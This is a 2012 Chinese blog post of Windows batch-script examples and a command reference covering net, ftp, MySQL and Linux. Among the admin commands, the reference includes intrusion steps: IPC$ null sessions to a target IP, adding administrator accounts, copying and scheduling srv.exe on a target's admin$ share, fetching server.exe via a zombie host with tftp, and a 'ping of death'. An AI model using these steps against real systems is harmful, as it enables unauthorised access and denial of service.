5.在批處理中使用密碼。密碼為admin,輸入正確,跳轉(zhuǎn)到next1 ,若輸入密碼錯(cuò)誤3次,則鎖屏。。
@echo off
set num=0
:11
set /p pass=請(qǐng)輸入密碼:
if "%pass%"=="admin" goto next1
set /a num=%num% + 1
if %num%==3 goto no1
goto 11
:no1
%windir%\system32\rundll32.exe user32.dll,LockWorkStation
goto 11
:next1
echo 密碼正確,執(zhí)行下面的程式
pause
6.清空回收站(未成功)
@echo off
del /f /s /q c:\recycler\*.*
::刷新屏幕
taskkill /f /im explorer.exe >nul
start "" "explorer.exe"
7.讓系統(tǒng)斷斷續(xù)續(xù)地鳴叫
@echo off
:begin
:: 發(fā)出鳴叫(“”實(shí)際就是ASCII碼值為7的特殊字符(蜂鳴鍵beep)
echo
:: 讓程序暫停一小陣子
ping -n 1 -l 1 127.1>nul
goto :begin
8.將 FAT 卷轉(zhuǎn)換成 NTFS
利用“CONVERT.exe”進(jìn)行,解析如下:
CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]
volume 指定驅(qū)動(dòng)器號(hào)(后面跟一個(gè)冒號(hào))、裝載點(diǎn)或卷名。
/FS:NTFS 指定要被轉(zhuǎn)換成 NTFS 的卷。
/V 指定 Convert 應(yīng)該用詳述模式運(yùn)行。
/CvtArea:filename
將根目錄中的一個(gè)接續(xù)文件指定為NTFS 系統(tǒng)文件的占位符。
/NoSecurity 指定每個(gè)人都可以訪問轉(zhuǎn)換的文件和目錄的安全設(shè)置。
/X 如果必要,先強(qiáng)行卸載卷。該卷的所有打開的句柄則無效。
程序如下:
@ ECHO OFF
@ ECHO.
@ ECHO. 說 明
@ ECHO --------------------------------------------------------------------------
@ ECHO NTFS是一種磁盤格式。該格式能存放大于4G的單個(gè)文件(如高清電影文件),并可對(duì)
@ ECHO 文件夾進(jìn)行加密,但有個(gè)缺點(diǎn)是DOS下無法訪問。建議D盤及其后的盤使用NTFS格式,
@ ECHO C盤如非必要可以不轉(zhuǎn)換,F(xiàn)AT32與NTFS這兩種格式的讀寫速度幾乎是沒有差別的。
@ ECHO --------------------------------------------------------------------------
@ ECHO.
convert c: /fs:ntfs
:: D盤也轉(zhuǎn)成 NTFS
convert d: /fs:ntfs
9. 獲取我的文檔
SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^>NUL^|FIND /I "Personal"') DO SET "myDoc=%%~J"
:: 復(fù)制文件到我的文檔
XCOPY /D /E /R /Y /C "%cd%\test.txt" "%myDoc%\test\"
==========================================
實(shí)例:
3.IF-ERRORLEVEL
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗
IF ERRORLEVEL 0 ECHO 成功拷貝文件
如果文件拷貝成功,屏幕就會(huì)顯示“成功拷貝文件”,否則就會(huì)顯示“文件拷貝失敗”。
IF ERRORLEVEL 是用來測(cè)試它的上一個(gè)DOS命令的返回值的,注意只是上一個(gè)命令的返回值,而且返回值必須依照從大到小次序順序判斷。因此下面的批處理文件是錯(cuò)誤的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
CHO 成功拷貝文件
IF ERRORLEVEL 1 ECHO 未找到拷貝文件
IF ERRORLEVEL 2 ECHO 用戶通過ctrl-c中止拷貝操作
IF ERRORLEVEL 3 ECHO 預(yù)置錯(cuò)誤阻止文件拷貝操作
IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯(cuò)誤
無論拷貝是否成功,后面的:
未找到拷貝文件
用戶通過ctrl-c中止拷貝操作
預(yù)置錯(cuò)誤阻止文件拷貝操作
拷貝過程中寫盤錯(cuò)誤
都將顯示出來。
以下就是幾個(gè)常用命令的返回值及其代表的意義:
backup
0 備份成功
1 未找到備份文件
2 文件共享沖突阻止備份完成
3 用戶用ctrl-c中止備份
4 由于致命的錯(cuò)誤使備份操作中止
diskcomp
0 盤比較相同
1 盤比較不同
2 用戶通過ctrl-c中止比較操作
3 由于致命的錯(cuò)誤使比較操作中止
4 預(yù)置錯(cuò)誤中止比較
diskcopy
0 盤拷貝操作成功
1 非致命盤讀/寫錯(cuò)
2 用戶通過ctrl-c結(jié)束拷貝操作
3 因致命的處理錯(cuò)誤使盤拷貝中止
4 預(yù)置錯(cuò)誤阻止拷貝操作
format
0 格式化成功
3 用戶通過ctrl-c中止格式化處理
4 因致命的處理錯(cuò)誤使格式化中止
5 在提示“proceed with format(y/n)?”下用戶鍵入n結(jié)束
xcopy
0 成功拷貝文件
1 未找到拷貝文件
2 用戶通過ctrl-c中止拷貝操作
4 預(yù)置錯(cuò)誤阻止文件拷貝操作
5 拷貝過程中寫盤錯(cuò)誤
=============================================================
@echo off //不顯示shell的命令。
Setlocal //環(huán)境改變只適用于這個(gè)文件。
%OS% //為當(dāng)前的操作系統(tǒng)。
Rem //注釋一行文本。
Goto 標(biāo)簽 //改變執(zhí)行順序,去標(biāo)簽位置.
:標(biāo)簽 //定義一個(gè)標(biāo)簽。
Set 變量名=值 //定義變量
Not //取反
Netstat –na //顯示當(dāng)前被點(diǎn)用的端口.
%0 %1 %2 //用于表示批處理文件的參數(shù)0為命令,共1-9個(gè)參數(shù)。
Shift //用于向前一個(gè)參數(shù),原1變0,原2變1.每調(diào)用一次shift向前一移動(dòng)一位。
Call //調(diào)用其他批處理文件或命令。
Start 命令 參數(shù) //指示出在另一個(gè)窗口中開始運(yùn)行命令。
=============================================================
:: 這段批處理程序可以自動(dòng)設(shè)置Java環(huán)境變量
@echo off
IF EXIST %1\bin\java.exe (
rem 如輸入正確的 Java2SDK 安裝目錄,開始設(shè)置環(huán)境變量
@setx JAVA_HOME %1
@setx path %path%;%JAVA_HOME%\bin
@setx classpath %classpath%;.
@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar
@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar
@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar
@echo on
@echo Java 2 SDK 環(huán)境參數(shù)設(shè)置完畢,正常退出。
) ELSE (
IF "%1"=="" (
rem 如沒有提供安裝目錄,提示之后退出
@echo on
@echo 沒有提供 Java2SDK 的安裝目錄,不做任何設(shè)置,現(xiàn)在退出環(huán)境變量設(shè)置。
) ELSE (
rem 如果提供非空的安裝目錄但沒有bin\java.exe,則指定的目錄為錯(cuò)誤的目錄
@echo on
@echo 非法的 Java2SDK 的安裝目錄,不做任何設(shè)置,現(xiàn)在退出環(huán)境變量設(shè)置。
)
)
dos命令參考~~~
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸后映射對(duì)方C:到本地為H:
net use h: \\ip\c$ 登陸后映射對(duì)方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對(duì)方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權(quán)限,注意:administrator后加s用復(fù)數(shù)
net start 查看開啟了哪些服務(wù)
net start 服務(wù)名 開啟服務(wù);(如:net start telnet, net start schedule)
net stop 服務(wù)名 停止某服務(wù)
net time \\目標(biāo)ip 查看對(duì)方時(shí)間
net time \\目標(biāo)ip /set 設(shè)置本地計(jì)算機(jī)時(shí)間與“目標(biāo)IP”主機(jī)的時(shí)間同步,加上參數(shù)/yes可取消確認(rèn)信息
net view 查看本地局域網(wǎng)內(nèi)開啟了哪些共享
net view \\ip 查看對(duì)方局域網(wǎng)內(nèi)開啟了哪些共享
net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置
net logoff 斷開連接的共享
net pause 服務(wù)名 暫停某服務(wù)
net send ip "文本信息" 向?qū)Ψ桨l(fā)信息
net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸后用將密碼改為12345
net password 密碼 更改系統(tǒng)登陸密碼
netstat -a 查看開啟了哪些端口,常用netstat -an
netstat -n 查看端口的網(wǎng)絡(luò)連接情況,常用netstat -an
netstat -v 查看正在進(jìn)行的工作
netstat -p 協(xié)議名 例:netstat -p tcq/ip 查看某協(xié)議使用情況(查看tcp/ip協(xié)議使用情況)
netstat -s 查看正在使用的所有協(xié)議使用情況
nbtstat -A ip 對(duì)方136到139其中一個(gè)端口開了的話,就可查看對(duì)方最近登陸的用戶名(03前的為用戶名)-注意:參數(shù)-A要大寫
tracert -參數(shù) ip(或計(jì)算機(jī)名) 跟蹤路由(數(shù)據(jù)包),參數(shù):“-w數(shù)字”用于設(shè)置超時(shí)間隔。
ping ip(或域名) 向?qū)Ψ街鳈C(jī)發(fā)送默認(rèn)大小為32字節(jié)的數(shù)據(jù),參數(shù):“-l[空格]數(shù)據(jù)包大小”;“-n發(fā)送數(shù)據(jù)次數(shù)”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(發(fā)送大于K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數(shù)“/all”顯示全部配置信息
tlist -t 以樹行列表顯示進(jìn)程(為系統(tǒng)的附加工具,默認(rèn)是沒有安裝的,在安裝目錄的Support/tools文件夾內(nèi))
kill -F 進(jìn)程名 加-F參數(shù)后強(qiáng)制結(jié)束某進(jìn)程(為系統(tǒng)的附加工具,默認(rèn)是沒有安裝的,在安裝目錄的Support/tools文件夾內(nèi))
del -F 文件名 加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如“DEL/AR *.*”表示刪除當(dāng)前目錄下所有只讀文件,“DEL/A-S *.*”表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時(shí)使用參數(shù)/Q 可取消刪除操作時(shí)的系統(tǒng)確認(rèn)就直接刪除。(二個(gè)命令作用相同)
move 盤符\路徑\要移動(dòng)的文件名 存放移動(dòng)文件的路徑\移動(dòng)后文件名 移動(dòng)文件,用參數(shù)/y將取消確認(rèn)移動(dòng)目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對(duì)比二個(gè)文件并把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號(hào) 開啟已注冊(cè)的某個(gè)計(jì)劃任務(wù)
at /delete 停止所有計(jì)劃任務(wù),用參數(shù)/yes則不需要確認(rèn)就直接停止
at id號(hào) /delete 停止某個(gè)已注冊(cè)的計(jì)劃任務(wù)
at 查看所有的計(jì)劃任務(wù)
at \\ip time 程序名(或一個(gè)命令) /r 在某時(shí)間運(yùn)行對(duì)方某程序并重新啟動(dòng)計(jì)算機(jī)
finger username @host 查看最近有哪些用戶登陸
telnet ip 端口 遠(yuǎn)和登陸服務(wù)器,默認(rèn)端口為23
open ip 連接到IP(屬telnet登陸后的命令)
telnet 在本機(jī)上直接鍵入telnet 將進(jìn)入本機(jī)的telnet
copy 路徑\文件名1 路徑\文件名2 /y 復(fù)制文件1到指定的目錄為文件2,用參數(shù)/y就同時(shí)取消確認(rèn)你要改寫一份現(xiàn)存目錄文件
copy c:\srv.exe \\ip\admin$ 復(fù)制本地c:\srv.exe到對(duì)方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數(shù):/b指二進(jìn)制文件,/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 復(fù)制對(duì)方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要復(fù)制的文件或目錄樹 目標(biāo)地址\目錄名 復(fù)制文件和目錄樹,用參數(shù)/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機(jī)作跳板時(shí)這用肉機(jī)IP) get server.exe c:\server.exe 登陸后,將“IP”的server.exe下載到目標(biāo)主機(jī)c:\server.exe 參數(shù):-i指以二進(jìn)制模式傳送,如傳送exe文件時(shí)用,如不加-i 則以ASCII模式(傳送文本文件模式)進(jìn)行傳送
tftp -i 對(duì)方IP put c:\server.exe 登陸后,上傳本地c:\server.exe至主機(jī)
ftp ip 端口 用于上傳文件至服務(wù)器或進(jìn)行文件操作,默認(rèn)端口為21。bin指用二進(jìn)制方式傳送(可執(zhí)行文件進(jìn));默認(rèn)為ASCII格式傳送(文本文件時(shí))
route print 顯示出IP路由,將主要顯示網(wǎng)絡(luò)地址Network addres,子網(wǎng)掩碼Netmask,網(wǎng)關(guān)地址Gateway addres,接口地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負(fù)責(zé)把一個(gè)IP解析成一個(gè)物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個(gè)新窗口并最大化(最小化)運(yùn)行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統(tǒng),隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數(shù):/Q顯示文件及目錄屬系統(tǒng)哪個(gè)用戶,/T:C顯示文件創(chuàng)建時(shí)間,/T:A顯示文件上次被訪問時(shí)間,/T:W上次被修改時(shí)間
date /t 、 time /t 使用此參數(shù)即“DATE/T”、“TIME/T”將只顯示當(dāng)前日期和時(shí)間,而不必輸入新日期和時(shí)間
set 指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量
set 顯示當(dāng)前所有的環(huán)境變量
set p(或其它字符) 顯示出當(dāng)前以字符p(或其它字符)開頭的所有環(huán)境變量
pause 暫停批處理程序,并顯示出:請(qǐng)按任意鍵繼續(xù)....
if 在批處理程序中執(zhí)行條件處理(更多說明見if命令及變量)
goto 標(biāo)簽 將cmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行(標(biāo)簽必須單獨(dú)一行,且以冒號(hào)打頭,例如:“:start”標(biāo)簽)
call 路徑\批處理文件名 從批處理程序中調(diào)用另一個(gè)批處理程序 (更多說明見call /?)
for 對(duì)一組文件中的每一個(gè)文件執(zhí)行某個(gè)特定命令(更多說明見for命令及變量)
echo on或off 打開或關(guān)閉echo,僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello
find 文件名 查找某文件
title 標(biāo)題名字 更改CMD窗口標(biāo)題名字
color 顏色值 設(shè)置cmd控制臺(tái)前景和背景顏色;0=黑、1=藍(lán)、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍(lán)、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統(tǒng)一改為:EntSky\ )
print 文件名 打印文本文件
2ver 在DOS窗口下顯示版本信息
winver 彈出一個(gè)窗口顯示版本信息(內(nèi)存大小、系統(tǒng)版本、補(bǔ)丁版本、計(jì)算機(jī)名)
format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創(chuàng)建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結(jié)構(gòu)顯示出目錄,用參數(shù)-f 將列出第個(gè)文件夾中文件名稱
type 文件名 顯示文本文件的內(nèi)容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字符
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調(diào)用win2k命令,并創(chuàng)建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調(diào)出任務(wù)管理器
chkdsk /F D: 檢查磁盤D并顯示狀態(tài)報(bào)告;加參數(shù)/f并修復(fù)磁盤上的錯(cuò)誤
tlntadmn telnt服務(wù)admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務(wù)默認(rèn)端口23為其它任何端口
exit 退出cmd.exe程序或目前,用參數(shù)/B則是退出當(dāng)前批處理腳本而不是cmd.exe
path 路徑\可執(zhí)行文件的文件名 為可執(zhí)行文件設(shè)置一個(gè)路徑。
cmd 啟動(dòng)一個(gè)win2K命令解釋窗口。參數(shù):/eff、/en 關(guān)閉、開啟命令擴(kuò)展;更我詳細(xì)說明見cmd /?
regedit /s 注冊(cè)表文件名 導(dǎo)入注冊(cè)表;參數(shù)/S指安靜模式導(dǎo)入,無任何提示;
regedit /e 注冊(cè)表文件名 導(dǎo)出注冊(cè)表
cacls 文件名 參數(shù) 顯示或修改文件訪問控制列表(ACL)——針對(duì)NTFS格式時(shí)。參數(shù):/D 用戶名:設(shè)定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問權(quán)限;/G 用戶名:perm 賦予指定用戶訪問權(quán)限;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F(xiàn) 完全控制;例:cacls D:\test.txt /D pub 設(shè)定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶權(quán)限列表
REM 文本內(nèi)容 在批處理文件中添加注解
netsh 查看或更改本地網(wǎng)絡(luò)配置情況
IIS服務(wù)命令:
iisreset /reboot 重啟win2k計(jì)算機(jī)(但有提示系統(tǒng)將重啟信息出現(xiàn))
iisreset /start或stop 啟動(dòng)(停止)所有Internet服務(wù)
iisreset /restart 停止然后重新啟動(dòng)所有Internet服務(wù)
iisreset /status 顯示所有Internet服務(wù)狀態(tài)
iisreset /enable或disable 在本地系統(tǒng)上啟用(禁用)Internet服務(wù)的重新啟動(dòng)
iisreset /rebootonerror 當(dāng)啟動(dòng)、停止或重新啟動(dòng)Internet服務(wù)時(shí),若發(fā)生錯(cuò)誤將重新開機(jī)
iisreset /noforce 若無法停止Internet服務(wù),將不會(huì)強(qiáng)制終止Internet服務(wù)
iisreset /timeout Val在到達(dá)逾時(shí)間(秒)時(shí),仍未停止Internet服務(wù),若指定/rebootonerror參數(shù),則電腦將會(huì)重新開機(jī)。預(yù)設(shè)值為重新啟動(dòng)20秒,停止60秒,重新開機(jī)0秒。
FTP 命令: (后面有詳細(xì)說明內(nèi)容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機(jī)名] -v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息。
-d 使用調(diào)試方式。
-n 限制ftp的自動(dòng)登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 /?[命令] 查看命令說明
bye 或 quit 終止主機(jī)FTP進(jìn)程,并退出FTP管理方式.
pwd 列出當(dāng)前遠(yuǎn)端主機(jī)目錄
put 或 send 本地文件名 [上傳到主機(jī)上的文件名] 將本地一個(gè)文件傳送至遠(yuǎn)端主機(jī)中
get 或 recv [遠(yuǎn)程主機(jī)文件名] [下載到本地后的文件名] 從遠(yuǎn)端主機(jī)中傳送至本地主機(jī)中
mget [remote-files] 從遠(yuǎn)端主機(jī)接收一批文件至本地主機(jī)
mput local-files 將本地主機(jī)中一批文件傳送至遠(yuǎn)端主機(jī)
dir 或 ls [remote-directory] [local-file] 列出當(dāng)前遠(yuǎn)端主機(jī)目錄中的文件.如果有本地文件,就將結(jié)果寫至本地文件
ascii 設(shè)定以ASCII方式傳送文件(缺省值)
bin 或 image 設(shè)定以二進(jìn)制方式傳送文件
bell 每完成一次文件傳送,報(bào)警提示
cdup 返回上一級(jí)目錄
close 中斷與遠(yuǎn)程服務(wù)器的ftp會(huì)話(與open對(duì)應(yīng))
open host[port] 建立指定ftp服務(wù)器連接,可指定連接端口
delete 刪除遠(yuǎn)端主機(jī)中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠(yuǎn)端主機(jī)中建立目錄
rename [from] [to] 改變遠(yuǎn)端主機(jī)中的文件名
rmdir directory-name 刪除遠(yuǎn)端主機(jī)中的目錄
status 顯示當(dāng)前FTP的狀態(tài)
system 顯示遠(yuǎn)端主機(jī)系統(tǒng)類型
user user-name [password] [account] 重新以別的用戶名登錄遠(yuǎn)端主機(jī)
open host [port] 重新建立一個(gè)新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當(dāng)前本地主機(jī)的工作目錄,如果缺省,就轉(zhuǎn)到當(dāng)前用戶的HOME目錄
chmod 改變遠(yuǎn)端主機(jī)的文件權(quán)限
case 當(dāng)為ON時(shí),用MGET命令拷貝的文件名到本地機(jī)器中,全部轉(zhuǎn)換為小寫字母
cd remote-dir 進(jìn)入遠(yuǎn)程主機(jī)目錄
cdup 進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄
! 在本地機(jī)中執(zhí)行交互shell,exit回到ftp環(huán)境,如!ls*.zip
MYSQL 命令:
mysql -h主機(jī)地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級(jí)用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 數(shù)據(jù)庫.* to 用戶名@登錄主機(jī) identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因?yàn)槭荕YSQL環(huán)境中的命令,所以后面都帶一個(gè)分號(hào)作為命令結(jié)束符)
show databases; 顯示數(shù)據(jù)庫列表。剛開始時(shí)才兩個(gè)數(shù)據(jù)庫:mysql和test。mysql庫很重要它里面有MYSQL的系統(tǒng)信息,我們改密碼和新增用戶,實(shí)際上就是用這個(gè)庫進(jìn)行操作。
use mysql;
show tables; 顯示庫中的數(shù)據(jù)表
describe 表名; 顯示數(shù)據(jù)表的結(jié)構(gòu)
create database 庫名; 建庫
use 庫名;
create table 表名 (字段設(shè)定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqldump --opt school>school.bbb 備份數(shù)據(jù)庫:(命令在DOS的\\mysql\\bin目錄下執(zhí)行);注釋:將數(shù)據(jù)庫school備份到school.bbb文件,school.bbb是一個(gè)文本文件,文件名任取,打開看看你會(huì)有新發(fā)現(xiàn)。
win2003系統(tǒng)下新增命令(實(shí)用部份):
shutdown /參數(shù) 關(guān)閉或重啟本地或遠(yuǎn)程主機(jī)。
參數(shù)說明:/S 關(guān)閉主機(jī),/R 重啟主機(jī), /T 數(shù)字 設(shè)定延時(shí)的時(shí)間,范圍0~180秒之間, /A取消開機(jī),/M //IP 指定的遠(yuǎn)程主機(jī)。
例:shutdown /r /t 0 立即重啟本地主機(jī)(無延時(shí))
taskill /參數(shù) 進(jìn)程名或進(jìn)程的pid 終止一個(gè)或多個(gè)任務(wù)和進(jìn)程。
參數(shù)說明:/PID 要終止進(jìn)程的pid,可用tasklist命令獲得各進(jìn)程的pid,/IM 要終止的進(jìn)程的進(jìn)程名,/F 強(qiáng)制終止進(jìn)程,/T 終止指定的進(jìn)程及他所啟動(dòng)的子進(jìn)程。
tasklist 顯示當(dāng)前運(yùn)行在本地和遠(yuǎn)程主機(jī)上的進(jìn)程、服務(wù)、服務(wù)各進(jìn)程的進(jìn)程標(biāo)識(shí)符(PID)。
參數(shù)說明:/M 列出當(dāng)前進(jìn)程加載的dll文件,/SVC 顯示出每個(gè)進(jìn)程對(duì)應(yīng)的服務(wù),無參數(shù)時(shí)就只列出當(dāng)前的進(jìn)程。
Linux系統(tǒng)下基本命令: 要區(qū)分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當(dāng)前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當(dāng)前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內(nèi)容
cat >abc.txt 往abc.txt文件中寫上內(nèi)容。
more 文件名 以一頁一頁的方式顯示一個(gè)文本文件。
cp 復(fù)制文件
mv 移動(dòng)文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內(nèi)沒有文檔。
chmod 設(shè)定檔案或目錄的存取權(quán)限
grep 在檔案中查找字符串
diff 檔案文件比較
find 檔案搜尋
date 現(xiàn)在的日期、時(shí)間
who 查詢目前和你使用同一臺(tái)機(jī)器的人以及Login時(shí)間地點(diǎn)
w 查詢目前上機(jī)者的詳細(xì)資料
whoami 查看自己的帳號(hào)名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進(jìn)程狀態(tài)
kill 停止某進(jìn)程
gcc 黑客通常用它來編譯C語言寫的文件
su 權(quán)限轉(zhuǎn)換為指定使用者
telnet IP telnet連接對(duì)方主機(jī)(同win2K),當(dāng)出現(xiàn)bash$時(shí)就說明連接成功。
ftp ftp連接上某服務(wù)器(同win2K)
Windows 排程範(fàn)例
若要在 Windows 系統(tǒng)上啟動(dòng)自動(dòng)化的備份工作,排程服務(wù)必須執(zhí)行中。您可以利用下列指令來啟動(dòng)這個(gè)服務(wù):
net start schedule
如果排程服務(wù)正在執(zhí)行中,則工作可以利用 at 指令來加以排程,這個(gè)指令是用來呼叫批次檔 backup.cmd (backup.cmd 的內(nèi)容可以在Windows 的備份排程元素找到)。如果您想要在每個(gè)星期五的下午 8 點(diǎn)整執(zhí)行這個(gè)指令,則必須呼叫下列指令:
at 20:00 /every:f cmd /c c::\db2\C21\sapscripts\backup.cmd
其他鏈接:http://www.shnenglu.com/baby-fly/archive/2009/08/28/94676.html
http://blog.csdn.net/john_/article/details/3020754
http://www.cnblogs.com/xionghui/archive/2012/03/17/2402985.html
http://bbs.bitscn.com/167957
posted on 2012-06-21 12:30
王海光 閱讀(3164)
評(píng)論(0) 編輯 收藏 引用 所屬分類:
腳本